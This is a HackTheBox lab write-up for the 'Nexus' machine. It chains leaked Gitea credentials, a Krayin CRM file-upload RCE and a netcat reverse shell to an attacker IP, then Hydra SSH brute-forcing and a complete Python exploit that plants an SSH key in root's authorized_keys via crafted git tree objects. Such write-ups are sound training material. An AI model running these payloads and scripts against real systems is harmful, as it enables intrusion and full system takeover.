# Nexus Writeup - HackTheBox

> SQL injection on a web app leads to credential extraction, enabling SSH access. Privilege escalation via misconfigured Linux permissions yields root.

- **URL:** https://hackindex.io/writeups/nexus
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** sql-injection, file-upload, webshell, password-cracking, cve-2026-38526
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 5 min read
- **Published:** 2026-06-25
- **Updated:** 2026-08-17

## Discovery

### Port Scan

```bash
addhost $TARGET_IP nexus.htb
scan_tcp_full nexus.htb
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
# 80/tcp open  http    nginx 1.24.0 (Ubuntu)
# |_http-title: Nexus Energy Authority — Powering the Nation's Future
```

Two ports. HTTP is the entry point.

### Web Enumeration and Subdomain Discovery

The main site is a static corporate page for "Nexus Energy Authority." Reviewing the HTML source, a job listing modal exposes two email addresses:

```
<a href="mailto:careers@nexus.htb">Apply at careers@nexus.htb</a>
<a href="mailto:j.matthew@nexus.htb">j.matthew@nexus.htb</a>
```

Note `j.matthew` and `careers` as candidate usernames. Next, fuzz for virtual hosts:

```bash
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
     -u http://nexus.htb \
     -H "Host: FUZZ.nexus.htb" \
     -fs 154
# git                     [Status: 200, Size: 14472]
# billing                 [Status: 302, Size: 390]
```

Register both:

```bash
addhost $TARGET_IP git.nexus.htb
addhost $TARGET_IP billing.nexus.htb
```

`git.nexus.htb` serves a Gitea instance. `billing.nexus.htb` redirects to a CRM login page.

## Initial Access

### Exposed Credentials in Gitea Commit History

`git.nexus.htb` runs Gitea 1.26.0 (visible via `/api/swagger`) with `require_signin=False`, meaning all public repos are browsable without an account.

![](https://hackindex.io/storage/0YrlCdgMzL8HLsQvV05OZmX8jGOwRzerg4EOXfGH.png)

Using the Explore button in the navigation reveals a repo under the `admin` account: `admin/krayin-docker-setup`. Browsing through the commit history, a `.env` file was committed and later removed. It is still accessible at: `http://git.nexus.htb/admin/krayin-docker-setup/commit/9b817fa4e073d12fc43952acb09f3067b2f17adf?files=.env`

![](https://hackindex.io/storage/TTigNE83DKiZ3IqGAleGm4hYTKW3xYM096zcZyhh.png)

The commit contains credentials for `j.matthew@nexus.htb`: `$JMATTHEW_PASSWORD`. This matches the hiring manager email found on the main site.

### CVE-2026-38526: Krayin CRM Authenticated PHP File Upload RCE

`billing.nexus.htb` runs Krayin CRM, a Laravel application. The login page exposes the Laravel Debugbar, confirming the app is running in debug mode. Use the credentials recovered from the Gitea commit history to authenticate as `j.matthew@nexus.htb`.

![](https://hackindex.io/storage/rJuOHT4ja0GPQRvva3Iiu5kZRrKN4jXx8pNYOMpL.png)

CVE-2026-38526 is an authenticated arbitrary file upload in the TinyMCE media upload endpoint at `/admin/tinymce/upload`. The endpoint accepts a multipart upload with `Content-Type: image/jpeg` but performs no server-side validation on the actual file content, allowing a PHP webshell to be stored directly under the web root. The PoC from [NathanHimself/CVE-2026-38526-PoC](https://github.com/NathanHimself/CVE-2026-38526-PoC) handles the full chain: authenticate, extract CSRF tokens, upload the webshell, then execute via the returned `location` URL with a `?cmd=` parameter.

The exploit corrupts application state after a single execution, so the machine will need a reset if the shell is lost. Verify code execution first:

```bash
python3 krayin.py -t http://billing.nexus.htb/ -c whoami -p '$JMATTHEW_PASSWORD' -u 'j.matthew@nexus.htb'
# www-data
```

Set up the listener before the shell call:

```bash
rslisten $ATTACKER_PORT tun0
```

```bash
python3 krayin.py -t http://billing.nexus.htb/ \
  -c 'busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash' \
  -p '$JMATTHEW_PASSWORD' \
  -u 'j.matthew@nexus.htb'
```

Shell lands as `www-data`. Stabilize:

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color; export SHELL=/bin/bash
stty rows 60 cols 156
# www-data@nexus:~/krayin/storage/app/public/tinymce$
```

## Lateral Movement

### Credential Harvest and SSH Reuse

From within the www-data shell, the Krayin application `.env` is readable:

```bash
cd ~/krayin
cat .env
# DB_CONNECTION=mysql
# DB_HOST=127.0.0.1
# DB_PORT=3306
# DB_DATABASE=krayin
# DB_USERNAME=krayin
# DB_PASSWORD=$KRAYIN_DB_PASSWORD
```

`/etc/passwd` shows one non-system interactive user: `jones`. Compile all recovered credentials and discovered usernames into wordlists and run Hydra against SSH:

```bash
hydra -L users.txt -u -e nsr -P passwords.txt ssh://nexus.htb
# [22][ssh] host: nexus.htb   login: jones   password: $JONES_PASSWORD
```

The database password reuses directly as `jones`'s SSH credential. SSH in and continue enumeration as a real user.

## Privilege Escalation

### Gitea Template Sync: Path Traversal via Crafted Git Tree Objects

LinPEAS flags an unusual custom systemd service:

![](https://hackindex.io/storage/h74wcFfl1IgoS7tx1g7aWbytYOJtBjBdKpc6m6L4.png)

```bash
systemctl cat gitea-template-sync
# [Unit]
# Description=Sync Gitea templates
# After=network-online.target
#
# [Service]
# Type=oneshot
# User=root
# ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
# TimeoutStartSec=50s
```

It runs as root. The script itself is not writable:

```bash
test -w /etc/gitea/template-sync.py && echo writable || echo not writable
# not writable
```

Reading the script reveals the full logic:

1. Loads a Gitea API token from `/etc/gitea/template-sync.conf`
2. Queries the Gitea API for all repos marked as templates
3. For each template repo, runs `git ls-tree -r HEAD` against the bare repo on disk
4. For every blob entry, runs `git cat-file blob <hash>` and writes the content to `/home/git/template-staging/<owner>/<repo>/<filepath>`

The vulnerability is in step 4. The `filepath` value comes directly from the git tree object and is joined with the staging directory using `os.path.join`. No path traversal validation is performed. The standard git CLI refuses to commit files with `..` in the path, but git objects are just loose zlib-compressed files on disk. You can construct a tree object by hand with an arbitrary filename and push it -- the server stores it verbatim. When the sync service runs as root, `os.path.join(stage_path, "../../../../../root/.ssh/authorized_keys")` resolves outside the staging directory and the key lands in root's `authorized_keys`.

Jones's DB password also works on `git.nexus.htb`:

![](https://hackindex.io/storage/Sn4uBikOU9Dif9BjxAkpCBfTZNJfvaVIahVqHHIo.png)

The exploit script automates the full chain: generate an API token as jones, create a template repo, craft a malicious git tree object with the traversal path pointing to `root/.ssh/authorized_keys` containing your public key, push it, and wait for the service to fire.

```python
import hashlib
import json
import os
import shutil
import subprocess
import sys
import tempfile
import time
import zlib

import requests
from requests.auth import HTTPBasicAuth

GITEA     = "http://git.nexus.htb"
USER      = "jones"
PASS      = "$JONES_PASSWORD"         # update
REPO_NAME = "template-pwn"

PUBKEY    = "ssh-ed25519 <your_pubkey_here>"    # update with your public key
TRAVERSAL = "../../../../../root/.ssh/authorized_keys"

def api(method, path, token=None, **kwargs):
    headers = kwargs.pop("headers", {})
    if token:
        headers["Authorization"] = f"token {token}"
    headers["Content-Type"] = "application/json"
    r = requests.request(method, f"{GITEA}/api/v1{path}", headers=headers,
                         auth=HTTPBasicAuth(USER, PASS) if not token else None, **kwargs)
    return r

def write_git_object(git_dir, obj_type, data):
    header = f"{obj_type} {len(data)}\x00".encode()
    full   = header + data
    sha    = hashlib.sha1(full).hexdigest()
    obj_path = os.path.join(git_dir, "objects", sha[:2], sha[2:])
    os.makedirs(os.path.dirname(obj_path), exist_ok=True)
    if not os.path.exists(obj_path):
        with open(obj_path, "wb") as f:
            f.write(zlib.compress(full))
    return sha

def make_traversal_repo(workdir):
    subprocess.run(["git", "init", workdir], check=True, capture_output=True)
    subprocess.run(["git", "config", "user.email", "x@x.com"], cwd=workdir,
                   check=True, capture_output=True)
    subprocess.run(["git", "config", "user.name", "x"], cwd=workdir,
                   check=True, capture_output=True)

    git_dir  = os.path.join(workdir, ".git")
    blob_sha = write_git_object(git_dir, "blob", PUBKEY.encode())
    print(f"[+] blob: {blob_sha}")

    # git CLI would reject "../" in filenames — craft the tree object raw
    entry    = b"100600 " + TRAVERSAL.encode() + b"\x00" + bytes.fromhex(blob_sha)
    tree_sha = write_git_object(git_dir, "tree", entry)
    print(f"[+] tree: {tree_sha}")

    ts = int(time.time())
    commit_data = (
        f"tree {tree_sha}\n"
        f"author x <x@x.com> {ts} +0000\n"
        f"committer x <x@x.com> {ts} +0000\n\npwn\n"
    ).encode()
    commit_sha = write_git_object(git_dir, "commit", commit_data)
    print(f"[+] commit: {commit_sha}")

    refs_dir = os.path.join(git_dir, "refs", "heads")
    os.makedirs(refs_dir, exist_ok=True)
    with open(os.path.join(refs_dir, "main"), "w") as f:
        f.write(commit_sha + "\n")
    with open(os.path.join(git_dir, "HEAD"), "w") as f:
        f.write("ref: refs/heads/main\n")

    return commit_sha

def main():
    print("[*] getting api token...")
    r = api("POST", "/users/jones/tokens", json={
        "name": f"privesc-{int(time.time())}",
        "scopes": ["write:repository", "write:user", "read:user"],
    })
    if r.status_code not in (200, 201):
        print(f"[-] token failed: {r.status_code} {r.text}")
        sys.exit(1)
    token = r.json()["sha1"]
    print(f"[+] token: {token[:8]}...")

    api("DELETE", f"/repos/{USER}/{REPO_NAME}", token=token)
    time.sleep(0.5)

    print("[*] creating template repo...")
    r = api("POST", "/user/repos", token=token, json={
        "name": REPO_NAME, "description": "",
        "template": True, "private": False, "auto_init": False,
    })
    if r.status_code not in (200, 201):
        print(f"[-] repo creation failed: {r.status_code} {r.text}")
        sys.exit(1)
    print(f"[+] created {USER}/{REPO_NAME}")

    workdir = tempfile.mkdtemp(prefix="nexus-pwn-")
    try:
        print("[*] building malicious repo...")
        make_traversal_repo(workdir)
        remote = f"http://{USER}:{PASS}@git.nexus.htb/{USER}/{REPO_NAME}.git"
        print("[*] pushing...")
        result = subprocess.run(
            ["git", "push", remote, "main"],
            cwd=workdir, capture_output=True, text=True
        )
        if result.returncode != 0:
            print(f"[-] push failed:\n{result.stderr}")
            sys.exit(1)
        print("[+] pushed.")
    finally:
        shutil.rmtree(workdir, ignore_errors=True)

    print(f"\n[*] waiting for gitea-template-sync to fire...")
    print(f"ssh -i /path/to/private_key root@$DOMAIN")

if __name__ == "__main__":
    main()
```

Run it:

```bash
python3 gitea_privesc.py
# [*] getting api token...
# [+] token: 2459b0db...
# [*] creating template repo...
# [+] created jones/template-pwn
# [*] building malicious repo...
# [+] blob: 8e7ee02cb46ddbae3301ef8238851983c2e7992e
# [+] tree: 6c6888e7adc09bda1d4c41aacd54476ea69e64ab
# [+] commit: 794e0fe85134682611a62931826621ed67c7161a
# [*] pushing...
# [+] pushed.
```

Once the sync service fires, the SSH key is written to `/root/.ssh/authorized_keys` by root:

```bash
ssh -i /path/to/private_key root@$DOMAIN
```

Related
